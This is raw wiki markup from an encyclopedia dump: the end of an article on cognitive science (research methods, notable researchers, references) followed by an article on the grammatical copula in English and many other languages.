* ''Reaction time.'' The time between the presentation of a stimulus and an appropriate response can indicate differences between two cognitive processes, and can indicate some things about their nature. For example, if in a search task the reaction times vary proportionally with the number of elements, then it is evident that this cognitive process of searching involves serial and not parallel processing.

* ''Psychophysical responses.'' Psychophysical experiments are an old psychological technique, which have been adopted by cognitive psychology. They typically involve making judgments of some physical property, e.g. the loudness of a sound. Correlation of subjective scales between individuals can show cognitive or sensory biases as compared to actual physical measurements. Some examples include:
** sameness judgments for colors, tones, textures, etc.
** threshold differences for colors, tones, textures, etc.

* ''[[Eye tracking]].'' This methodology is used to study a variety of cognitive processes, most notably visual perception and language processing. The fixation point of the eyes is linked to an individual's focus of attention. Thus, by monitoring eye movements, we can study what information is being processed at a given time. Eye tracking allows us to study cognitive processes on extremely short time scales. Eye movements reflect online decision making during a task, and they provide us with some insight into the ways in which those decisions may be processed. 

===Brain imaging===
[[Image:Hypothalamus.jpg|thumb|150px||Image of the human brain. The arrow indicates the position of the hypothalamus.]]

Brain imaging involves analyzing activity within the brain while performing various cognitive tasks. This allows us to link behavior and brain function to help understand how information is processed. Different types of imaging techniques vary in their temporal (time-based) and spatial (location-based) resolution. Brain imaging is often used in [[cognitive neuroscience]].

* ''[[Single photon emission computed tomography]]'' and ''[[Positron emission tomography]].'' SPECT and PET use radioactive isotopes, which are injected into the subject's bloodstream and taken up by the brain. By observing which areas of the brain take up the radioactive isotope, we can see which areas of the brain are more active than other areas. PET has similar spatial resolution to fMRI, but it has extremely poor temporal resolution.

* ''[[Electroencephalography|EEG]].'' Electroencephalography (EEG) measures the electrical fields generated by large populations of neurons in the cortex by placing a series of electrodes on the scalp of the subject. This technique has an extremely high temporal resolution, but a relatively poor spatial resolution.

* ''[[functional MRI|fMRI]].'' fMRI measures the relative amount of oxygenated blood flowing to different parts of the brain. More oxygenated blood in a particular region is correlated with an increase in neural activity in that part of the brain. This allows us to localize particular functions within different brain regions. fMRI has moderate spatial and temporal resolution.

* ''[[Optical imaging]].'' This technique uses infrared transmitters and receivers to measure the amount of light reflectance by blood near different areas of the brain. Since oxygenated and deoxygenated blood reflects light by different amounts, we can study which areas are more active (those that have more oxygenated blood). Optical imaging has moderate temporal resolution, but poor spatial resolution. It also has the advantage that it is extremely safe and can be used to study infants' brains.

*''[[Magnetoencephalography|MEG]].'' This technique measures magnetic fields resulting from cortical activity. It is similar to [[Electroencephalography|EEG]], except that it has improved spatial resolution and the apparatus is a very long device that ends at an interface with the head.&lt;!--I need help!!--&gt;

===Computational modeling===
[[Image:MultiLayerNeuralNetwork_english.png|thumb|200px|Neural network with two layers.]]

[[computer model|Computational models]] are often used to simulate specific aspects of intelligence. These models can help us understand the functional organization of a particular cognitive phenomenon.

* ''[[Connectionism|Connectionist/neural network models]].'' Connectionism relies on the idea that the mind/brain is composed of simple nodes and that the power of the system comes primarily from the existence, and manner of connections between the simple nodes. [[Neural nets]] are textbook implementations of this approach. Some critics of this approach feel that while it may be true as a repetition of how the system works it does not have explanative powers, as complicated systems of connections with even simple rules are extremely complex, and often less interpretable than the system they model.

* ''Symbolic models.''

* ''[[Dynamical systems]].''

===Neurobiological methods===
Research methods borrowed directly from [[neuroscience]] and [[neuropsychology]] can also help us understand aspects of intelligence. This methods allow us to understand how intelligent behavior is implemented in a physical system.

* ''Single-cell recording.''

* ''Direct brain stimulation.''

* ''Animal models.''

* ''Lesion patients.''

==Key findings==
'''Cognitive science''' has much to its credit. Among other accomplishments, it has given rise to models of human [[cognitive bias]] and [[risk]] perception, and has been influential in the development of [[behavioral finance]], part of [[economics]].  It has also given rise to a new theory of the [[philosophy of mathematics]], and many theories of [[artificial intelligence]], [[persuasion]] and [[coercion]]. It has made its presence firmly known in [[philosophy of language]] and [[epistemology]] - a modern revival of rationalism - as well as constituting a substantial wing of modern [[linguistics]].

Discovery of systemic human [[cognitive bias]], usually credited to [[Amos Tversky]] and [[Daniel Kahneman]], 1967.  Basis of [[behavioral finance]].

Assertion of equivalence of [[Euler's identity]] (basis of complex analysis in mathematics) with basic cognitive processes, [[George Lakoff]] and [[Rafael E. Núñez]], 2000.  Basis of the [[cognitive science of mathematics]].

==Notable researchers in cognitive science and related fields==
* By Respective Areas
&lt;table cellspacing=5&gt;
&lt;tr&gt;&lt;th&gt;Psychology&lt;/th&gt;&lt;th&gt;Philosophy&lt;/th&gt;&lt;th&gt;Neuroscience&lt;/th&gt;
&lt;th&gt;Linguistics&lt;/th&gt;&lt;th&gt;Computer Science&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td valign=top&gt;
* [[Leon Festinger]]
* [[Lawrence Barsalou]]
* [[Lera Boroditsky]]
* [[Robert Goldstone]]
* [[Daniel Kahneman]]
* [[James McClelland]]
* [[George A. Miller]]
* [[Steven Pinker]]
* [[Jonathan Potter]]
* [[Eleanor Rosch]]
* [[Linda B. Smith]]
* [[Anne Treisman]]
&lt;/td&gt;
&lt;td valign=top&gt;
* [[David Chalmers]]
* [[Patricia Churchland]]
* [[Paul Churchland]]
* [[Andy Clark]]
* [[Daniel Dennett]]
* [[Jerry Fodor]]
* [[Stephen Laurence]]
* [[Colin McGinn]]
* [[Roger Penrose]]
* [[Karl Popper]]
* [[John Searle]]
* [[Stephen Stich]]
* [[Paul Thagard]]
* [[Tim van Gelder]]
&lt;/td&gt;
&lt;td valign=top&gt;
* [[Antonio Damasio]]
* [[John Carew Eccles|John Eccles]]
* [[Gerald Edelman]]
* [[Andrew and Alexander Fingelkurts]]
* [[Michael Gazzaniga]]
* [[Christof Koch]]
* [[Brenda Milner]]
* [[Karl Pribram]]
* [[Vilayanur S. Ramachandran]]
* [[Olaf Sporns]]
&lt;/td&gt;
&lt;td valign=top&gt;
* [[Noam Chomsky]]
* [[Alan Prince]]
* [[Ray Jackendoff]]
* [[George Lakoff]]
&lt;/td&gt;
&lt;td valign=top&gt;
* [[David Kirsh]]
* [[Douglas Hofstadter]]
* [[Marvin Minsky]]
* [[Seymour Papert]]
* [[Roger Schank]]
* [[Herbert Simon]]
* [[Alan Turing]]
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;th colspan=4&gt;Other/Misc Categories&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td colspan=4&gt;
* [[Margaret ('Maggie') Boden]]
* [[Kenneth Craik]]
* [[Friedrich Hayek]]
* [[Christopher Longuet-Higgins]]
* [[Edwin Hutchins]]
* [[Rafael E. Núñez]]

&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

==See also==
* [[psychology]]
* [[neuroscience]]
* [[Neural Darwinism]]
* [[Society of Mind theory]]
* [[cognitive science of mathematics]]
* [[cognitive bias]]
* [[cognitive linguistics]]
* [[cognitive neuropsychology]]
* [[cognitive neuroscience]]
* [[notation bias]]
* [[neural network]]
* [[neuropsychology]]
* [[computational neuroscience]]
* [[simulated consciousness]]
* [[artificial consciousness]]
* [[List_of_publications_in_biology#Cognitive science| Important publications in cognitive science]]
* [[List of cognitive scientists]]
* [[List of institutions granting degrees in cognitive science]]

==External links==

===Education===
* [http://career.berkeley.edu/Major/CogSci.stm Berkeley's &quot;What can I do with a major in cognitive science?&quot;]

===Definitions===
* [http://plato.stanford.edu/entries/cognitive-science/ Stanford Encyclopedia of Philosophy: Cognitive Science]
* [http://www.aiknow.net aiKnow: Cognitive Artificial Intelligence]
* [http://cognet.mit.edu/ MIT CogNet]

===List of People===
* [http://carbon.cudenver.edu/~mryder/itc_data/cogsci.html List of leading thinkers in cognitive science]

==References==
* Baumgartner, P., et. al. Eds. (1995). ''Speaking Minds: Interviews With Twenty Eminent Cognitive Scientists.'' Princeton, New Jersey: Princeton University Press.
* Bechtel, W. et. al. Ed. (1999). ''A Companion to Cognitive Science. Blackwell Companions to Philosophy''. Malden, Massachusetts: Blackwell Publishers.
* Damasio, A. R. (1994). ''Descartes' Error: Emotion, Reason and the Human Brain.'' New York: Grosset/Putnam.
* Gardner, H. (1985). ''The Minds New Science.'' New York: Basic Books.
* Gazzaniga, M. S. Ed. (1996). ''Conversations in the Cognitive Neurosciences.'' New York: The MIT Press.
* Lakoff, G and Johnson, M. (1999). ''Philosophy In The Flesh.'' New York: Basic Books. 
* Luger, G. (1994). ''Cognitive science : the science of intelligent systems''. San Diego: Academic Press. 
* Thagard, P. (2nd, 2005). ''Mind : Introduction to Cognitive Science''. Cambridge, Massachusetts: The MIT Press.

[[Category:Cognitive science| ]]
[[Category:Psychology]]
[[Category:Interdisciplinary fields]]

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      <text xml:space="preserve">:''For copula functions in probability and statistics, see [[copula (statistics)]].''

The word '''copula''' originates from the [[Latin]] [[noun]] for a &quot;link or tie&quot; that connects two different things.  In [[linguistics]], a copula is a word that is used to link the [[subject]] of a [[sentence (linguistics)|sentence]] with a [[predicate (grammar)|predicate]] (a subject [[complement]] or an [[adverbial]]). Though it might not itself express any action or condition, it serves to equate (or associate) the subject with the predicate.

A copula is sometimes (though not always) a [[verb]] or a verb-like part of speech. In English [[primary education]] grammar courses, a copula is often called a '''linking verb'''.

The term is generally used to refer to the main copular verb in the language: in the case of English, this is &quot;'''to be'''&quot;.  It can also be used to refer to all such verbs in the language: in that case, English copulas include, &quot;to be&quot;, &quot;to become&quot;, &quot;to get&quot;, &quot;to feel&quot;, and &quot;to seem&quot;.  ''Fall'' can be a copulative verb, as in &quot;The zebra fell victim to the lion.&quot; See: [[List of English copulas]].

==The copula in English==

===Use===
We can identify several sub-uses of the copula:
*Identity: &quot;I only want to ''be'' myself.&quot;  &quot;When the area behind the dam fills, it will ''be'' a lake.&quot;  &quot;The Morning Star ''is'' the Evening Star.&quot;  &quot;Boys ''will be'' boys.&quot;  &quot;I ''yam'' what I yam&quot; ([[Popeye]]).
*Class membership.  To belong to a set or class: &quot;She could ''be'' married.&quot;  &quot;Dogs ''are'' canines.&quot;  &quot;Moscow ''is'' a large city.&quot;  Depending on one's point of view, all other uses can be considered derivatives of this use, including the following non-copular uses in English, as they all express a [[Subset|subset]] relationship.
*Predication (property and relation attribution): &quot;It hurts to '''be''' blue.&quot;  &quot;Will that house '''be''' big enough?&quot;  &quot;The hen '''is''' next to the cockerel.&quot;  &quot;I '''am''' confused.&quot;  Such attributes may also relate to temporary conditions as well as inherent qualities: &quot;I will '''be''' tired after running.&quot;  &quot;Will you '''be''' going to the play tomorrow?&quot; (see below)

The verb &quot;to be&quot; also has some non-copular uses, including:
*As an auxiliary verb:
**To form the passive voice: &quot;I '''was''' told that you wanted to see me&quot;
**To add continuous aspect to tenses: &quot;It is raining&quot;
*Meaning &quot;to exist&quot;:  &quot;I want only to '''be''', and that is enough.&quot; &quot;There's no sense in making a scientific inquiry about what species the Loch Ness Monster is, without first establishing that the Loch Ness Monster indeed ''is.''&quot;
Note that the auxiliary verb function derives from the copular function; and, depending on one's point of view, one can still interpret the verb as a copula and the following verbal form as being adjectival.

===Conjugation===
As in most [[Indo-European language]]s, the English copula is the most irregular verb, due to constant use.  Most English verbs (traditionally known as &quot;[[weak verb]]s&quot;) have just four separate forms, e.g. &quot;start&quot;, &quot;starts&quot;, &quot;starting&quot;, &quot;started&quot;.  A large minority of verbs (traditionally known as &quot;[[strong verb]]s&quot;) have five separate forms, e.g. &quot;begin&quot;, &quot;begins&quot;, &quot;beginning&quot;, &quot;began&quot;, &quot;begun&quot;.  &quot;To be&quot; is a very special case in having eight forms: &quot;be&quot;, &quot;am&quot;, &quot;is&quot;, &quot;are&quot;, &quot;being&quot;, &quot;was&quot;, &quot;were&quot;, &quot;been&quot;.  Traditionally, it had even more, including &quot;art&quot;, &quot;wast&quot;, &quot;wert&quot;, and, occasionally, &quot;best&quot; as a subjunctive.  On the history of the paradigm, see: [[Indo-European copula]].

==Copulas in other languages==
Languages tend to use copulas in quite different ways.

===Chinese===
In [[Chinese language|Chinese]] languages, both states and qualities are generally expressed with [[stative verb]]s with no need for a copula, e.g., &quot;to be tired&quot; (累 ''lèi''), &quot;to be hungry&quot; (饿 ''è''), &quot;to be located at&quot; (在 ''zài''), &quot;to be stupid&quot; (笨 ''bèn'') and so forth.  These verbs are usually preceded by an adverb such as 很 ''hěn'' (&quot;very&quot;) or 不 ''bù'' (&quot;not&quot;).

Only sentences with a noun as the complement (e.g. &quot;this is my sister&quot;) use the verb &quot;to be&quot;: 是 ''shì''. This is used frequently: for example, instead of having a verb meaning &quot;to be Chinese&quot;, the usual expression is &quot;to be a Chinese person&quot;, using 是 ''shì''.  Other sentences use adjectives plus the nominaliser 的 ''de'', e.g. 这是红的 ''zhè shì hóng de'' &quot;this is [a] red [one]&quot;.

The history of the Chinese copula 是 is a controversial subject. Before the [[Han Dynasty]], the character served as a [[demonstrative pronoun]] meaning &quot;this&quot; (this usage survives in some idioms and proverbs). Some linguists argue that 是 developed into a copula because it often appeared, as a repetitive subject, after the subject of a sentence (in [[classical Chinese]] we can say, for example: &quot;George W. Bush, '''this''' president of the United States&quot; meaning &quot;George W. Bush '''is''' the president of the United States). Other scholars cannot completely accept the explanation, proposing that 是 served as a demonstrative pronoun and a copula at the same  time in ancient Chinese. [[etymology|Etymologically]], 是 means &quot;straight&quot;; in modern Chinese, 是 means &quot;yes&quot; as an interjection, and &quot;correct&quot;, &quot;right&quot; as an adjective, implying a sense of judgement.      

&lt;small&gt;N.B. The characters used are [[Simplified Chinese|simplified]] ones, and the transcriptions given in italics reflect [[standard Mandarin]] pronunciation, using the [[Pinyin]] system.&lt;/small&gt;

===Japanese===
[[Japanese language|Japanese]] has copulas which would most often be translated as one of the so-called be-verbs of English. The Japanese copula has many forms, including but not limited to ''da'', ''na'', ''de'', and ''desu''. The first and last are used to [[predicate (grammar)|predicate]] sentences, while the middle two are used within sentences to modify or connect.

Japanese sentences with copulas most often equate one thing with another, that is, they are of the form &quot;A is B.&quot; Examples:
* &amp;#12371;&amp;#12428;&amp;#12399;&amp;#12506;&amp;#12531;&amp;#12391;&amp;#12377;&amp;#12290;''Kore wa pen desu''. &quot;This is a pen&quot; (lit., this &lt;small&gt;TOPIC&lt;/small&gt; pen &lt;small&gt;COPULA&lt;/small&gt;)
* &amp;#20693;&amp;#12399;&amp;#23398;&amp;#29983;&amp;#12384;&amp;#12290;''Boku wa gakusei da'' &quot;I am a student&quot; (lit., I-&lt;small&gt;MASCULINE&lt;/small&gt; &lt;small&gt;TOPIC&lt;/small&gt; student &lt;small&gt;COPULA&lt;/small&gt;)

The following examples show the use of the copula as a modifier or connector.

* &amp;#21307;&amp;#32773;&amp;#12398;&amp;#12362;&amp;#12376; ''isha no oji'' &quot;uncle who is a physician&quot; (lit., physician &lt;small&gt;COPULA&lt;/small&gt; uncle)
* &amp;#22909;&amp;#12365;&amp;#12391;&amp;#12383;&amp;#12414;&amp;#12425;&amp;#12394;&amp;#12356; ''suki de tamaranai'' &quot;I love it so much I'm gonna burst&quot; (lit., like &lt;small&gt;COPULA&lt;/small&gt; not-be-able-to-bear)

The difference between ''da'' and ''desu'' is simple: ''desu'' is more formal and polite than ''da''. Thus, the two sentences below are identical in meaning and differ only in their politeness.
* &amp;#12354;&amp;#12428;&amp;#12399;&amp;#12507;&amp;#12486;&amp;#12523;&amp;#12384;&amp;#12290;''Are wa hoteru da''. &quot;That is a hotel.&quot; (lit., that &lt;small&gt;TOPIC&lt;/small&gt; hotel &lt;small&gt;COPULA&lt;/small&gt;)
* &amp;#12354;&amp;#12428;&amp;#12399;&amp;#12507;&amp;#12486;&amp;#12523;&amp;#12391;&amp;#12377;&amp;#12290;''Are wa hoteru desu''. &quot;That is a hotel.&quot; (lit., that &lt;small&gt;TOPIC&lt;/small&gt; hotel &lt;small&gt;COPULA&lt;/small&gt;)

Japanese sentences may be predicated with copulas or with verbs. However, ''desu'' may not always be a predicate. In some cases, its only function is to make a sentence predicated with a [[stative verb]] more polite. In a sense, there are two words ''desu'' in Japanese: one is a polite copula that predicates sentences, and the other is a politeness marker added to stative verbs. However, ''da'' always functions as a predicate, so it cannot be combined with a stative verb, because sentences need only one predicate. See the examples below.
* &amp;#12371;&amp;#12398;&amp;#12499;&amp;#12540;&amp;#12523;&amp;#12399;&amp;#12358;&amp;#12414;&amp;#12356;&amp;#12290;''Kono biiru wa umai'' &quot;This beer is good&quot; (lit., this beer &lt;small&gt;TOPIC&lt;/small&gt; be-tasty)
* &amp;#12371;&amp;#12398;&amp;#12499;&amp;#12540;&amp;#12523;&amp;#12399;&amp;#12358;&amp;#12414;&amp;#12356;&amp;#12391;&amp;#12377;&amp;#12290;''Kono biiru wa umai desu'' &quot;This beer is good&quot; (lit., this beer &lt;small&gt;TOPIC&lt;/small&gt; be-tasty &lt;small&gt;POLITE&lt;/small&gt;)
: but
* ''Kono biiru wa umai da'' - unacceptable

Japanese also has two verbs corresponding to English &quot;to be&quot;: ''aru'' and ''iru''. Neither of them is a copula. ''Aru'' is used for inanimate objects, including plants, while ''iru'' is used for people and animals, though there are exceptions to this generalization. Different usages of the copula, stative verbs, and the two verbs of being are shown below. 

* &amp;#26412;&amp;#12399;&amp;#12486;&amp;#12540;&amp;#12502;&amp;#12523;&amp;#12395;&amp;#12354;&amp;#12427;&amp;#12290;''Hon wa teeburu ni aru.'' &quot;The book is on the table.&quot;
* &amp;#12461;&amp;#12512;&amp;#12373;&amp;#12435;&amp;#12399;&amp;#12371;&amp;#12371;&amp;#12395;&amp;#12356;&amp;#12427;&amp;#12290;''Kimu-san wa koko ni iru.''&quot;Kim is here.&quot; 
* &amp;#31169;&amp;#12399;&amp;#12450;&amp;#12513;&amp;#12522;&amp;#12459;&amp;#20154;&amp;#12384;&amp;#12290;''Watashi wa amerikajin da.'' &quot;I am an American.&quot;
* &amp;#32020;&amp;#23376;&amp;#12373;&amp;#12435;&amp;#12399;&amp;#22793;&amp;#12384;&amp;#12290;''Junko-san wa hen da.'' &quot;Junko is strange.&quot;
* &amp;#12371;&amp;#12428;&amp;#12399;&amp;#27005;&amp;#12375;&amp;#12356;&amp;#12290;''Kore wa tanoshii.'' &quot;This is fun.&quot;

===Indo-European languages===
{{main|Indo-European copula}}

In [[Indo-European language]]s, the words meaning &quot;to be&quot; (originating in stem ''*es'') often sound similar to each other. Due to the high frequency of their use, their inflection retains a considerable degree of similarity in some cases. Thus, for example, the [[English language|English]] form ''is'' is an apparent [[cognate]] of [[German language|German]] ''ist'', Latin ''est'' and [[Russian language|Russian]] ''&lt;nowiki&gt;jest'&lt;/nowiki&gt;'', in spite the fact that the Germanic, Romance, and Slavic language groups split at least three thousand years ago.

A feature of most [[Romance language]]s is the coexistence of two different verbs meaning &quot;to be&quot;, the main one from the [[Latin]] ''sum'', and a secondary one from '''sto'' (see [[Romance copula]]).  The difference is that the former usually refers to essential characteristics, whilst the latter refers to states and situations, e. g. &quot;Bob is old&quot; versus &quot;Bob is well&quot;.  (Note that the English words just used, &quot;essential&quot; and &quot;state&quot; are also cognate with the Latin roots ''esse'' and ''stare''.)

*[[Italian language|Italian]] ''Bob è vecchio'' &amp;mdash; Bob is old
*[[Italian language|Italian]] ''Bob sta bene''   &amp;mdash; Bob is well

In Spanish, for example, the quite high degree of verbal [[inflection]], plus the existence of two copulae (''ser'' and ''estar''), means that there are 105 separate forms to express the eight of English, and one of Chinese.

In certain languages there are not only two copulae but the [[syntax]] is also changed when one is distinguishing between states or situation and essential characteristics. For example, in [[Irish language|Irish]], describing the subject's state or situation typically uses the normal VSO ordering with the verb ''bí''. The copula ''is'', which is used to state essential characteristics or equivalences, requires a change in word order so that the subject does not immediately follow the copula (see [[Irish syntax]]).

===Russian and Hungarian===
In languages such as [[Russian language|Russian]] or [[Hungarian language|Hungarian]], the copula in present tense is implied rather than spoken (Russian: я&amp;nbsp;&amp;mdash; человек, ''ya&amp;nbsp;&amp;mdash; chelovek'' &quot;I (am) a human&quot;; Hungarian: ''&amp;#337; ember'', &quot;he (is) a human&quot;).  This usage (also common in [[Semitic languages]]), is known generically as the '''[[zero copula]]'''.  Note that in other tenses (sometimes in other persons besides singular third) the copula usually reappears.

In Hungarian, zero copula is restricted to present tense in 3rd person singular and plural (see examples above): &quot;Ő ember/Ők emberek&amp;nbsp;&amp;mdash; &quot;s/he is a human&quot;/&quot;they are humans&quot;; but: &quot;(én) ember vagyok&quot;&amp;nbsp;&amp;mdash; &quot;I am a human&quot;, &quot;(te) ember vagy&quot;&amp;nbsp;&amp;mdash; &quot;you are a human&quot;, &quot;(mi) emberek vagyunk&quot;&amp;nbsp;&amp;mdash; &quot;we are humans&quot;, &quot;(ti) emberek vagytok&quot;&amp;nbsp;&amp;mdash; &quot;you (all) are humans&quot;. It also reappears for stating locations: &quot;az emberek a házban vannak&quot;&amp;nbsp;&amp;mdash; &quot;the people are in the house&quot;.

To recycle the above examples (&quot;Bob is old&quot; versus &quot;Bob is here&quot;), Hungarian only uses a copula in the latter case (and this not only with regard to third person singular/plural) (''Itt van Róbert''), but not in the first example (''Róbert öreg''). This is to relate a subject to a more temporary condition/state taking place in ''space'' (very often in the sense of [[Lojban]] ''zvati''&amp;nbsp;&amp;mdash; &quot;la rabyrt. zvati ne'i le zdani&quot; (Robert is in the house)).

In Russian, the verb &quot;быть&quot; (''byt&amp;rsquo;'') is the infinitive of &quot;to be&quot;.  The third person singular, &quot;есть&quot; (''yest&amp;rsquo;'') means &quot;is&quot; (and, interestingly enough, it is a homonym of the infinitive &quot;to eat&quot;). As a copula, it can be inflected into the past (&quot;был&quot;, ''byl''), future (&quot;будет&quot;, ''budet''), and subjunctive (&quot;был&quot; or &quot;бы&quot;, ''byl'' or ''by'') forms. A present tense (&quot;есть&quot;, ''yest&amp;rsquo;'') exists; however, it is almost never used as a copula, but rather omitted altogether or replaced by the verb &quot;являться&quot; (''yavlyat'sa'') (to be in essence). Thus one can say:

*Она была красивой (''Ona byla krasivoy'')&amp;nbsp;&amp;mdash; &quot;she was beautiful&quot; (adjective in [[instrumental case]]).
*Она красивая (''Ona krasivaya'')&amp;nbsp;&amp;mdash; &quot;she is beautiful&quot; (adjective in the [[nominative case]]).
*Она является красивой (''Ona yavlyayetsya krasivoy'')&amp;nbsp;&amp;mdash; &quot;she is beautiful&quot; (adjective also in instrumental).

But not (except for archaic effect):
*Она есть красивая (''Ona yest&amp;rsquo; krasivaya'')&amp;nbsp;&amp;mdash; &quot;she is beautiful&quot;.
&lt;!-- (Actually, the above is correct Russian, but is (a) to the highest degree formal language, and (b) goes beyond copulative usage to connote something more existential than is meant by the English ''is''.  For these two reasons, this construction is quite rare.) --&gt;
The third person plural &quot;суть&quot; (''sut&amp;rsquo;'') (&quot;are&quot;) is still used in some standard phrases (but since it is a homonym of the noun &quot;essence&quot;, most native speakers do not notice it to be a verb):
*Они суть одно и то же (''Oni sut&amp;rsquo; odno i to zhe'')&amp;nbsp;&amp;mdash; &quot;they are one and the same&quot;.

===Turkish===
''(See also the separate article on the [[Turkish copula]].)''

Unlike Indo-european languages, being an extremely regular [[agglutinative language]], [[Turkish language|Turkish]] forms its &quot;being&quot; not as a regular verb, rather as an auxiliary verb denoted as &quot;i-mek&quot; which shows its existence only through suffixes to predicates which can be nouns, adjectives or arguably conjugated verb stems.

In the third person singular, just like in Hungarian or Russian [[Zero copula]] is the case. 

For example:
* ''Deniz mavi.'' = &quot;[The] sea is blue&quot; (the auxiliary verb &quot;i-mek&quot; is implied only)
* ''Ben maviyim'' = &quot;I am blue&quot; (the auxiliary verb &quot;i-mek&quot; appears in &quot;(y)im&quot;.)

===Georgian===

Just like in English, the verb &quot;to be&quot; (''qopna'') is irregular in [[Georgian language|Georgian]]; different verb roots are employed in different tenses. The roots -''ar''-, -''kn''-, -''qav''-, and -''qop''- (past participle) are used in the present tense, future tense, past tense and the perfective tenses respectively. Examples:

:''Masc'avlebeli v'''ar''''' (&quot;I ''am'' a teacher&quot;)
:''Masc'avlebeli vi'''kn'''ebi'' (&quot;I ''will be'' a teacher&quot;)
:''Masc'avlebeli vi'''qav'''i'' (&quot;I ''was'' a teacher&quot;)
:''Masc'avlebeli v'''qop'''ilv'''ar''''' (&quot;I ''have been'' a teacher&quot;)
:''Masc'avlebeli v'''qop'''ili'''qav'''i'' (&quot;I ''had been'' a teacher&quot;)

Note that in the last two examples (perfective and pluperfective) two roots are used in one verb compound. In the perfective tense, the root ''qop'' (which is the expected root for the perfective tense) is followed by the root ''ar'', which is the root for the present tense. In the pluperfective tense, again, the root ''qop'' is followed by the past tense root ''qav''. This formation is very similar to German. In German, the perfective and the pluperfective are expressed in this way:

:''Ich '''bin''' ein Lehrer '''gewesen''''' (&quot;I have been a teacher&quot;)
:''Ich '''war''' ein Lehrer '''gewesen''''' (&quot;I had been a teacher&quot;)

Here, ''gewesen'' is the past participle of ''sein'' (&quot;to be&quot;) in German. In both examples, just like in Georgian, this participle is used together with the present and the past forms of the verb in order to conjugate for the perfect and the pluperfect tenses.

===Nahuatl===
[[Nahuatl]], as well as some other [[Amerindian language]]s, has no copula. Instead of using a copula, it is possible to conjugate nouns or adjectives like verbs.

===Siouan languages===
In Siouan languages like [[Lakota]], this is similar as in principle almost all words - according to their structure - are verbs. So, not very unlike in Lojban (see below), not only (transitive, intransitive and so-called 'stative') verbs but even nouns often behave like verbs - and do not need to have copulas. E.g. _wicasa_ [wicha's^a] - man/adult male, to-be-a-man -&gt; wimacasa/winicasa/he wicasa (I am/you are/he is a man). Yet, there also is a verb (copula) _heca_ [he'cha] (to be a such) that in most cases is used: &quot;wicasa hemaca/henica/heca&quot; (I am/you are/he is a man). So, in order to express that I am a doctor of profession, I have to say: &quot;pezuta wicasa hemaca&quot; [phez^u'ta wicha's^a hema'cha]. But in order to express that I'm THE doctor (say, that had been phoned to help), I'd have to use another copula _(i)ye_ (to be the one): &quot;pezuta wicasa (kin) miye lo&quot; (medicine-man DEF ART I-am-the-one MALE ASSERT).

In order to refer to space (e.g. Robert is in the house), various verbs are used as copula, e.g. _yankA_ [yaNka'] (lit.: to sit) for humans, _han/he_ [haN'/he'] (to stand upright) for inanimates of a certain shape. So, &quot;Robert is in the house&quot; could be translated as &quot;Robert timahel yanke (yelo)&quot;, whereas &quot;there's one restaurant next to the gas station&quot; translates as &quot;owotetipi wigli-oinazin kin hel isakib wanzi he&quot;.
*[http://www.fa-kuan.de/LAKSTRUCT.HTML Essay on Lakota syntax]

===Artificial languages===
The [[artificial language]] [[Lojban]] has copula, but they are rarely used, and are sometimes viewed with distaste in the Lojban community, because all words that express a predicate can be used as verbs.  The three sentences above would all have the same form in Lojban: ''la bob. bajra'', ''la bob. tolcitno'', and ''la bob. fagdirpre''. There are several different copula: ''me'' turns whatever follows the word ''me'' into a verb that means ''to be'' what it follows. For example, ''me la bob.'' means ''to be Bob.'' Another copula is ''du'', which is a verb that means all its arguments are the same thing (equal) [http://ptolemy.tlg.uci.edu/~opoudjis/lojbanbrochure/lessons/less12eq.html].

The [[E-Prime]] language, based on English, simply avoids the issue by not having a generic copula. It requires instead a specific form such as &quot;remains&quot;, &quot;becomes&quot;, &quot;lies&quot;, or &quot;equals&quot;.

[[Esperanto]] uses the copula much as in English.  However, as with the rest of Esperanto grammar, there are no irregularities.  The infinitive is ''esti'', and the whole conjugation is regular.

In [[Toki Pona]], if the subject is ''mi'' (I) or ''sina'' (you, sg.) there is no copula needed; otherwise, it's used ''li'' just before the verb. For example: &quot;sina pona&quot; (you're good), &quot;meli li pona&quot; ((the) woman is good).

==Existential usage==

The existential usage of &quot;to be&quot; is distinct from and yet, in some languages, intimately related to its copulative usage.  In language as opposed to formal logic, existence is a predicate rather than a quantifier, and the passage from copulative to existential usage can be subtle.

For example:

*'''Japanese''': &amp;#21566;&amp;#36649;&amp;#12399;&amp;#29483;'''&amp;#12391;&amp;#12354;&amp;#12427;'''&amp;#12290;&amp;#21517;&amp;#21069;&amp;#12399;&amp;#12414;&amp;#12384;'''&amp;#12394;&amp;#12356;'''&amp;#12290; ''Wagahai wa neko '''de aru'''. Namae wa mada '''nai''''' &amp;ndash; ''I '''am''' a cat. As yet, I '''have no''' name''. &amp;mdash; [[Soseki Natsume]]
*'''English''': '''''To be''' or not '''to be''', that ''is'' the question''. &amp;mdash; [[William Shakespeare]]
*'''English''': ''[Why climb Mount Everest?] Because '''it is there'''''. &amp;mdash; [[George Mallory]]
*'''Russian''': ''&amp;#1057;&amp;#1090;&amp;#1088;&amp;#1072;&amp;#1085;&amp;#1072;, &amp;#1082;&amp;#1086;&amp;#1090;&amp;#1086;&amp;#1088;&amp;#1091;&amp;#1102; &amp;#1080;&amp;#1097;&amp;#1091;&amp;#1090; &amp;#1076;&amp;#1077;&amp;#1090;&amp;#1080;, '''&amp;#1077;&amp;#1089;&amp;#1090;&amp;#1100;''''' [Strana, kotoruju ishchut djeti, jest'] &amp;ndash; ''That land we yearn for in our childhood '''is there'''.'' &amp;mdash; [[Prishvin]]
*'''French''': ''Je pense, donc '''je suis'''.'' &amp;ndash; ''I think, therefore '''I am'''''. &amp;mdash; [[Descartes]]
*'''Latin''': ''[[Cogito ergo sum|Cogito ergo '''sum''']].'' &amp;mdash; ''I think, therefore '''I am'''''. &amp;mdash; [[Descartes]]
*'''Turkish''': ''Dü_ünüyorum, öyleyse '''var1m'''.'' &amp;ndash; ''I think, therefore '''I am'''''. &amp;mdash; [[Descartes]]

Other languages prefer to keep the existential usage entirely separate from the copula.  Swedish, for example, reserves ''vara'' for the copula, keeping ''bli'' (to become) and ''finnas'' (to be found) for becoming and existing, respectively.  

*'''Swedish''': ''Vem vill '''bli''' miljonär?'' &amp;mdash; ''Who wants ''to be'' a millionaire?''. &amp;mdash; [[Bengt Magnusson]] 
*'''Swedish''': ''Varför bestiga Mt. Everest?  Därfor att det '''finns''' där.'' &amp;mdash; ''Why climb Mt. Everest? Because it ''is'' there''. &amp;mdash; [[George Mallory]]

